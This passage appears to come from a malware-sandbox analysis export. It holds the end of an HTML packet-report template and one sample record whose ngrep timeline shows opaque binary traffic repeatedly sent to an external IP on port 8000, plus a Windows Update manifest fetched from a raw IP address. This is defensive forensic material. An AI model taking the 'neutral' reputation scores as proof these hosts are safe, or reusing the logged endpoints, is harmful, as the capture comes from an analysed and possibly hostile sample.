class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a476b98be9fd9ccd90ac8e6"},"sha256":"e63ac91d2bc21f0dd05f546f92112162ce8200cf97b59f6c46f608d1a6365502","timestamp":{"$date":"2026-07-03T13:28:16.457Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n194.36.32.207,194.36.32.207,HTTP Host,0/70,Neutral,No,External\nhttp://194.36.32.207,194.36.32.207,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_i81b32pl.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #4\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w................jv.^Wl[.q\\.q'....KL..\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #6\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #8\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #10\n4...4.......x...d..n\"\".....B7.6../.=..8;n........G.......\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #12\n.\n#####\nT 10.152.152.11:64035 -> 194.36.32.207:80 [AP] #17\nGET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1.\nConnection: Keep-Alive.\nAccept: */*.\nAccept-Encoding: gzip, deflate.\nUser-Agent: Microsoft-Delivery-Optimization/10.0.\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1.\nContent-Length: 0.\nHost: 194.36.32.207.\n.\"\n0.0,NGrep,##,\"Payload: T 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #19\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #21\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #23\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #25\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #27\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #29\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #31\n.\n##\nT 194.36.32.207:80 -> 10.152.152.11:64035 [AP] #33\nHTTP/1.1 200 OK.\nServer: nginx.\nDate: Wed, 01 Jul 2026 09:19:58 GMT.\nContent-Type: application/json.\nContent-Length: 3793.\nConnection: keep-alive.\nCache-Control: public,max-age=172800.\nLast-Modified: Mon, 13 Oct 2025 22:35:46 GMT.\nVia: 1.1 varnish.\nAge: 127498.\nX-Served-By: cache-fra-eddf8230151-FRA.\nX-Cache: HIT.\nX-Cache-Hits: 1.\nX-Timer: S1778883249.512599,VS0,VE4.\nX-CID: 10006.\nX-CCC: 778445f1-a10e-47b0-a1c8-62eb3fc383cf.\nContent-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'.\nX-XSS-Protection: 1; mode=block.\nX-Frame-Options: SAMEORIGIN.\nX-Cache-Status: STALE.\nAccept-Ranges: bytes.\n.\n{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu\n##\nT 194.36.32.207:80 -> 10.152.152.11:64035 [AP] #35\n1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #37\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #39\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #41\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #43\n............x........\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #45\n............x.s...E.E\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #47\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #49\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #51\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #53\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #55\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #57\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #59\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #61\n.\n######\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #67\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #69\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #71\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #73\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #75\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #77\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #79\n............x........\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #81\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #83\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #85\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #87\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #89\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #91\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #93\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #95\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #97\n............x.s...F.F\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #99\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #101\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #103\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #105\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #107\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #109\n............x........\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #111\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #113\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #115\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #117\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #119\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #121\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #123\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #125\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #127\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #129\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #131\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #133\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #135\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [A] #137\n.\n##\nT 10.152.152.11:64032 -> 192.163.167.137:8000 [AP] #139\n............x........\n#########\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [AP] #148\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q....)5..R...\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #150\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #152\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #154\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #156\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #158\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #160\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #162\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #164\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #166\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #168\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #170\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #172\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #174\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #176\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [AP] #178\n............x........\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #180\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #182\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #184\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #186\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #188\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #190\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #192\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #194\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #196\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #198\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #200\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #202\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #204\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #206\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [AP] #208\n............x........\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #210\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #212\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #214\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #216\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #218\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #220\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #222\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #224\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #226\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #228\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #230\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #232\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #234\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #236\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [AP] #238\n............x........\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #240\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #242\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #244\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #246\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #248\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #250\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #252\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #254\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #256\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #258\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #260\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #262\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #264\n.\n##\nT 10.152.152.11:64073 -> 192.163.167.137:8000 [A] #266\n.\n#########\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [AP] #275\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...1....?...\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #277\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #279\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #281\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #283\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #285\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #287\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #289\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #291\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #293\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #295\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #297\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #299\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #301\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #303\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [AP] #305\n............x........\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #307\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #309\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #311\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #313\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #315\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #317\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #319\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #321\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #323\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #325\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #327\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #329\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #331\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #333\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [AP] #335\n............x........\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #337\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #339\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #341\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #343\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #345\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #347\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #349\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #351\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #353\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #355\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #357\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #359\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #361\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #363\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [AP] #365\n............x........\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #367\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #369\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #371\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #373\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #375\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #377\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #379\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #381\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #383\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #385\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #387\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #389\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #391\n.\n##\nT 10.152.152.11:64078 -> 192.163.167.137:8000 [A] #393\n.\n#########\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [AP] #402\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...1....Cr..\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #404\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #406\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #408\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #410\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #412\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #414\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #416\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #418\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #420\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #422\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #424\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #426\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #428\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #430\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [AP] #432\n............x........\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #434\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #436\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #438\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #440\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #442\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #444\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #446\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #448\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #450\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #452\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #454\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #456\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #458\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #460\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [AP] #462\n............x........\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #464\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #466\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #468\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #470\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #472\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #474\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] 